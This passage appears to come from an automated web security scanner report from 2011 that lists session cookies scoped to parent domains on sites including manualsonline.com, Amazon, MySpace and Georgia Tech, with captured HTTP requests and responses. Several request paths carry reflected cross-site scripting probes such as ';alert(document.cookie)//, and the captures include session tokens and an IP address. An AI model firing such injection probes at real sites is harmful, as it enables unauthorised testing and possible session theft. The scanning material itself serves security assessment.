Cookie: __gads=ID=9c79886a0efcbf70:T=1296942810:S=ALNI_MZT5moPrMV1QActIQk7lQFHgvu6Ig; adsur=26; __utmz=162857765.1296956996.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; memSessionId=5378e2dc-3193-11e0-bdbb-0030485f67c6; adsust=n1; adsus=26b9sk; PAPVisitorId=c21ce48b6f65fadb04f522bba10uSpNn; __utma=162857765.1785005893.1296942825.1296942825.1296956996.2; __utmc=162857765; __utmb=162857765.1.10.1296956996;

Response

14.5. http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%27%3balert%28document.cookie%29%2f%2f8fcf167d281/d/type/product_problem/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://homeappliance.manualsonline.com
Path:	/ex/mfg/headline/m/ariens47888%27%3balert%28document.cookie%29%2f%2f8fcf167d281/d/type/product_problem/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 22:49:36 GMT; path=/; domain=.manualsonline.com

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /ex/mfg/headline/m/ariens47888%27%3balert%28document.cookie%29%2f%2f8fcf167d281/d/type/product_problem/ HTTP/1.1
Host: homeappliance.manualsonline.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __gads=ID=9c79886a0efcbf70:T=1296942810:S=ALNI_MZT5moPrMV1QActIQk7lQFHgvu6Ig; adsur=58; __utmz=162857765.1296942825.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; adsust=n2; adsus=2jh81Z; PAPVisitorId=c21ce48b6f65fadb04f522bba10uSpNn; __utma=162857765.1785005893.1296942825.1296942825.1296942825.1; __utmc=162857765; __utmb=162857765.2.10.1296942825;

Response

14.6. http://homeappliance.manualsonline.com/managemystuff.html previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://homeappliance.manualsonline.com
Path:	/managemystuff.html

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 22:49:58 GMT; path=/; domain=.manualsonline.com

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /managemystuff.html HTTP/1.1
Host: homeappliance.manualsonline.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __gads=ID=9c79886a0efcbf70:T=1296942810:S=ALNI_MZT5moPrMV1QActIQk7lQFHgvu6Ig; adsur=58; __utmz=162857765.1296942825.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; adsust=n2; adsus=2jh81Z; PAPVisitorId=c21ce48b6f65fadb04f522bba10uSpNn; __utma=162857765.1785005893.1296942825.1296942825.1296942825.1; __utmc=162857765; __utmb=162857765.2.10.1296942825;

Response

14.7. http://homeappliance.manualsonline.com/proxy.class.php previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://homeappliance.manualsonline.com
Path:	/proxy.class.php

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 21:54:13 GMT; path=/; domain=.manualsonline.com

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /proxy.class.php?url=ajaxadinterface&platform=infospace&params=%7B%22template%22%20:%20%22manuals2_ugcsumm%22,%22keyWords%22%20:%20%22Ariens%20type1a19b';alert(1)//35f276845e%22%7D HTTP/1.1
Host: homeappliance.manualsonline.com
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%2527%253balert%25281%2529%252f%252f35f276845e/product_problem
X-Prototype-Version: 1.7
X-Requested-With: XMLHttpRequest
Accept: text/javascript, text/html, application/xml, text/xml, */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: adsus=2jh81Z; __utmz=162857765.1296942825.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; __gads=ID=9c79886a0efcbf70:T=1296942810:S=ALNI_MZT5moPrMV1QActIQk7lQFHgvu6Ig; adsust=n2; adsur=58; __utma=162857765.1785005893.1296942825.1296942825.1296942825.1; __utmc=162857765; __utmb=162857765.2.10.1296942825; memSessionId=59308638-3172-11e0-bdbb-0030485f67c6

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:54:13 GMT
Server: Apache/2.2.14 (Fedora)
X-Powered-By: PHP/5.2.9
Set-Cookie: memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 21:54:13 GMT; path=/; domain=.manualsonline.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 7508

["\n\t\t\t\t<a class='titleLink' target='_top' href='http:\/\/dsclick.infospace.com\/ClickHandler.ashx?ru=http%3a%2f%2fwww.google.com%2faclk%3fsa%3dl%26ai%3dCu1b_BcdNTdWEHYeGsAPI0MG9BKaAnvMBpuO9qxjckd
...[SNIP]...

14.8. http://homeappliance.manualsonline.com/regman/login/loginForm previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://homeappliance.manualsonline.com
Path:	/regman/login/loginForm

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 22:25:54 GMT; path=/; domain=.manualsonline.com

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

14.9. http://homeappliance.manualsonline.com/regman/user/getUserBlock previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://homeappliance.manualsonline.com
Path:	/regman/user/getUserBlock

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 21:54:13 GMT; path=/; domain=.manualsonline.com

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

14.10. http://homeappliance.manualsonline.com/regman/user/validateUser previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://homeappliance.manualsonline.com
Path:	/regman/user/validateUser

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 21:53:53 GMT; path=/; domain=.manualsonline.com

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

14.11. http://session.owneriq.net/regman/mem/initsession previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://session.owneriq.net
Path:	/regman/mem/initsession

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

memSessionId=d57faaa8-3176-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 22:25:27 GMT; path=/; domain=.owneriq.net

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

14.12. http://software.intel.com/en-us/articles/intel-cloud-builders/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://software.intel.com
Path:	/en-us/articles/intel-cloud-builders/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

PHPSESSID=c680a28da547976765a9fecb001f8b7a; path=/; domain=intel.com

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /en-us/articles/intel-cloud-builders/?cid\u003dvibrantlogo4 HTTP/1.1
Host: software.intel.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.13. http://software.intel.com/sites/oss/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://software.intel.com
Path:	/sites/oss/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

PHPSESSID=12e5653e571c7080ca749d32c426701f; path=/; domain=intel.com

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/oss/ HTTP/1.1
Host: software.intel.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.14. http://t.mookie1.com/t/v1/clk previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://t.mookie1.com
Path:	/t/v1/clk

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

session=1296942768|1296942768; path=/; domain=.mookie1.com
id=985165829036687; path=/; expires=Thu, 01-Mar-12 21:52:48 GMT; domain=.mookie1.com
OAX=rcHW801NxrAADCGH; path=/; expires=Thu, 01-Mar-12 21:52:48 GMT; domain=.mookie1.com

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /t/v1/clk HTTP/1.1
Host: t.mookie1.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Date: Sat, 05 Feb 2011 21:52:48 GMT
Server: Apache/2.0.52 (Red Hat)
Cache-Control: no-cache
Pragma: no-cache
P3P: CP="NOI DSP COR NID CUR OUR NOR"
Set-Cookie: id=985165829036687; path=/; expires=Thu, 01-Mar-12 21:52:48 GMT; domain=.mookie1.com
Set-Cookie: session=1296942768|1296942768; path=/; domain=.mookie1.com
Set-Cookie: OAX=rcHW801NxrAADCGH; path=/; expires=Thu, 01-Mar-12 21:52:48 GMT; domain=.mookie1.com
Location: /t/v1/clk/cc
Content-Length: 276
Keep-Alive: timeout=15, max=86
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="/t/v1/clk/cc">here</a>.</p>
<hr>
<address>Apach
...[SNIP]...

14.15. http://www.amazon.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.amazon.com
Path:	/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
session-id=188-9552736-3777102; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
skin=noskin; path=/; domain=.amazon.com; expires=Sat, 05-Feb-2011 23:01:25 GMT

The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.amazon.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.16. http://www.bebo.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.bebo.com
Path:	/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bdaysession=10972d3e51ad7d61367853489; domain=.bebo.com; path=/
sessioncreate=20110205230037; domain=.bebo.com; path=/
bvid=c94114e0-b984-471b-b0e3-720e978d2001|1296946837192; domain=.bebo.com; path=/; expires=Fri, 06-May-2011 23:00:37 GMT
bvid=a2f9a221-b44f-4098-ba4c-4cc5cf278f98|1296946837204; domain=.bebo.com; path=/; expires=Fri, 06-May-2011 23:00:37 GMT

The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.bebo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.17. https://www.box.net/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www.box.net
Path:	/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

PHPSESSID=63e9qo0i13m18idln9pja8irm0; path=/; domain=.box.net; HttpOnly
box_visitor_id=4d4dd6cd8da802.39031593; expires=Sun, 05-Feb-2012 23:01:33 GMT; path=/; domain=.box.net

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.box.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.18. http://www.coe.gatech.edu/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.coe.gatech.edu
Path:	/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SESSe21231bc09705de79a97f2d6b2e890fb=645k56n5kokbe2trg1b1r6h6e7; expires=Tue, 01-Mar-2011 01:27:06 GMT; path=/; domain=.coe.gatech.edu

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.coe.gatech.edu
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.19. http://www.diigo.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.diigo.com
Path:	/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

_smasher_session=0884043c57a485ce4cbb73416ccb308f; domain=diigo.com; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.diigo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 05 Feb 2011 23:01:42 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Set-Cookie: CHKIO=; domain=.diigo.com; path=/; expires=Tue, 01 Feb 2011 19:01:42 GMT
Set-Cookie: diigoandlogincookie=; domain=.diigo.com; path=/; expires=Tue, 01 Feb 2011 19:01:42 GMT
Set-Cookie: _smasher_session=0884043c57a485ce4cbb73416ccb308f; domain=diigo.com; path=/
ETag: "152b87fdda438c461169e0c57ed9939c"
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
X-Runtime: 0.00139
Content-Length: 9244
Cache-Control: private, max-age=0, must-revalidate

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http
...[SNIP]...

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.dooce.com
Path:	/\|http:/www.mightygoods.com/\|http:/www.coolmompicks.com\|onemanga.com\|psychcentral.com\|webmail.aol.com\|http:/www.weblogsinc.com\|http:/www.webmd.com/$\|wonderwall.msn.com\|msn.com/wonderwall\|v14.msn.com/\|preview.msn.com/\|www.msn.com/preview.aspx\|mtv.com/videos/\|mtv.com/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SESS30952fbaf4ac11922b9cafbdf8d115e4=71f18f11fd684daf83cd39428a8d9146; expires=Tue, 01-Mar-2011 19:35:09 GMT; path=/; domain=.dooce.com

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /|http:/www.mightygoods.com/|http:/www.coolmompicks.com|onemanga.com|psychcentral.com|webmail.aol.com|http:/www.weblogsinc.com|http:/www.webmd.com/$|wonderwall.msn.com|msn.com/wonderwall|v14.msn.com/|preview.msn.com/|www.msn.com/preview.aspx|mtv.com/videos/|mtv.com/ HTTP/1.1
Host: www.dooce.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Sun, 06 Feb 2011 16:01:49 GMT
Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.11
X-Powered-By: PHP/5.2.11
Set-Cookie: SESS30952fbaf4ac11922b9cafbdf8d115e4=71f18f11fd684daf83cd39428a8d9146; expires=Tue, 01-Mar-2011 19:35:09 GMT; path=/; domain=.dooce.com
Last-Modified: Sun, 06 Feb 2011 16:01:49 GMT
ETag: "0493be742911f37fbd142739098641b2"
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: must-revalidate
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 10157

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"xmlns=xmlns:og="http://opengraphprot
...[SNIP]...

14.21. http://www.gpg.org/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.gpg.org
Path:	/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SESS4f8b8e940bd1b5592aec2833218c244b=juq455no7avf4ohoeb33ho2n46; expires=Tue, 01-Mar-2011 01:39:59 GMT; path=/; domain=.gpg.org

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.gpg.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.22. http://www.hyves.nl/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.hyves.nl
Path:	/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

PHPSESSID=4ae3ef637a098da9d54aee259f6ef392; path=/; domain=.hyves.nl; HttpOnly
GP=fd0162ca; path=/; domain=.hyves.nl
chatInitialPresence=online; expires=Sun, 05-Feb-2012 23:02:18 GMT; path=/; domain=.hyves.nl
realstatId=false; expires=Sat, 05-Feb-2011 23:32:18 GMT; path=/; domain=.hyves.nl
SC=q1bKULLSNdJRSlWyApKJSlZKFqnJppYpJqlKtQA%3D; path=/; domain=.hyves.nl; httponly

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.hyves.nl
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.23. https://www.infosecisland.com/blogview/5213-Splunk-4-Users-Review.html previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www.infosecisland.com
Path:	/blogview/5213-Splunk-4-Users-Review.html

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

wiredheadSessions=1a19e483b416036c9111676e1b941b50; path=/; domain=.infosecisland.com; secure; HttpOnly

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /blogview/5213-Splunk-4-Users-Review.html HTTP/1.1
Host: www.infosecisland.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 05 Feb 2011 23:05:24 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Vary: Accept-Encoding
Set-Cookie: wiredheadSessions=1a19e483b416036c9111676e1b941b50; path=/; domain=.infosecisland.com; secure; HttpOnly
Expires: Sat, 12 Feb 2011 23:05:24 GMT
Cache-Control: max-age=604800
Pragma: no-cache
Content-Length: 39150

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
...[SNIP]...

14.24. http://www.manualsonline.com/privacy.html previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.manualsonline.com
Path:	/privacy.html

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 23:02:37 GMT; path=/; domain=.manualsonline.com

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /privacy.html HTTP/1.1
Host: www.manualsonline.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __gads=ID=9c79886a0efcbf70:T=1296942810:S=ALNI_MZT5moPrMV1QActIQk7lQFHgvu6Ig; adsur=58; memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; adsust=n2; adsus=2jh81Z;

Response

14.25. http://www.manualsonline.com/tc.html previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.manualsonline.com
Path:	/tc.html

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 23:02:38 GMT; path=/; domain=.manualsonline.com

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /tc.html HTTP/1.1
Host: www.manualsonline.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __gads=ID=9c79886a0efcbf70:T=1296942810:S=ALNI_MZT5moPrMV1QActIQk7lQFHgvu6Ig; adsur=58; memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; adsust=n2; adsus=2jh81Z;

Response

14.26. http://www.mylinkvault.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.mylinkvault.com
Path:	/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

PHPSESSID=os9t2670j382p7k3kipnt47et6; path=/; domain=.mylinkvault.com

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.mylinkvault.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.27. http://www.myspace.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.myspace.com
Path:	/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

SessionDDF2=TKve/VMQSRopDi6rum8Cuf4A/ccgoSma8SHWpbuTI+vd5A49FMvesHvx7OPJtzM9hJR6JKisfQH2F0HGZi7c1Q==; domain=.myspace.com; expires=Wed, 05-Feb-2031 23:02:51 GMT; path=/
MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=634325149713339390&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==&UserFirstVisit=1; domain=.myspace.com; expires=Sat, 12-Feb-2011 23:02:51 GMT; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.myspace.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, must-revalidate, proxy-revalidate
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
X-Server: 17e2d175617537d6cd02a20d8ed1e2c2653c581408958462
Set-Cookie: MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=634325149713339390&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==&UserFirstVisit=1; domain=.myspace.com; expires=Sat, 12-Feb-2011 23:02:51 GMT; path=/
Set-Cookie: SessionDDF2=TKve/VMQSRopDi6rum8Cuf4A/ccgoSma8SHWpbuTI+vd5A49FMvesHvx7OPJtzM9hJR6JKisfQH2F0HGZi7c1Q==; domain=.myspace.com; expires=Wed, 05-Feb-2031 23:02:51 GMT; path=/
Set-Cookie: MYUSERINFO=; domain=.myspace.com; expires=Wed, 19-Jan-2005 08:28:17 GMT; path=/
Set-Cookie: MYUSERINFO=; domain=myspace.com; expires=Wed, 19-Jan-2005 08:28:17 GMT; path=/
Set-Cookie: USER=; domain=.myspace.com; expires=Wed, 19-Jan-2005 08:28:17 GMT; path=/
Set-Cookie: USER=; domain=myspace.com; expires=Wed, 19-Jan-2005 08:28:17 GMT; path=/
Set-Cookie: SECUREUSERAUTH=; domain=.myspace.com; expires=Wed, 19-Jan-2005 08:28:17 GMT; path=/; secure
Set-Cookie: SECUREUSERAUTH=; domain=myspace.com; expires=Wed, 19-Jan-2005 08:28:17 GMT; path=/; secure
X-AspNet-Version: 4.0.30319
X-PoweredBy: Unicorns
Date: Sat, 05 Feb 2011 23:02:51 GMT
Content-Length: 82620
X-Vertical: globalsites
Set-Cookie: NSC_mc_gvuvsb-hmpcbmtjuft_80=ffffffff0948088b45525d5f4f58455e445a4a423660;expires=Sat, 05-Feb-2011 23:10:08 GMT;path=/;httponly

<!DOCTYPE html>
<html class="noJS en-US">

<head><meta http-equiv="X-UA-Compatible" content="IE=7" />
<title>
Myspace | Social Entertainment
</title>
<script>
_start = +n
...[SNIP]...

14.28. http://www.oit.gatech.edu/content/information-security/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.oit.gatech.edu
Path:	/content/information-security/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SESS701e63468b7538f49a91969758042315=s4gpbpghl1f5701jp01hsem6r4; expires=Tue, 01-Mar-2011 01:40:31 GMT; path=/; domain=.oit.gatech.edu

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /content/information-security/ HTTP/1.1
Host: www.oit.gatech.edu
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 301 Moved Permanently
Date: Sat, 05 Feb 2011 22:07:11 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.2.10 ZendServer/4.0
Set-Cookie: SESS701e63468b7538f49a91969758042315=s4gpbpghl1f5701jp01hsem6r4; expires=Tue, 01-Mar-2011 01:40:31 GMT; path=/; domain=.oit.gatech.edu
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Sat, 05 Feb 2011 22:07:11 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Location: http://www.oit.gatech.edu/content/information-security
Content-Length: 0
Connection: close
Content-Type: text/html; charset=utf-8

14.29. http://www.oit.gatech.edu/service/software-distribution/software-distribution previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.oit.gatech.edu
Path:	/service/software-distribution/software-distribution

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SESS701e63468b7538f49a91969758042315=m62ul61cvi1ckhdg53u2dh1e65; expires=Tue, 01-Mar-2011 01:40:32 GMT; path=/; domain=.oit.gatech.edu

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /service/software-distribution/software-distribution HTTP/1.1
Host: www.oit.gatech.edu
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:07:12 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.2.10 ZendServer/4.0
Set-Cookie: SESS701e63468b7538f49a91969758042315=m62ul61cvi1ckhdg53u2dh1e65; expires=Tue, 01-Mar-2011 01:40:32 GMT; path=/; domain=.oit.gatech.edu
Last-Modified: Sat, 05 Feb 2011 09:15:23 GMT
ETag: "b0c4a17612c3bdb20d870d94e5608032"
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: must-revalidate
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 13613

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<meta http-e
...[SNIP]...

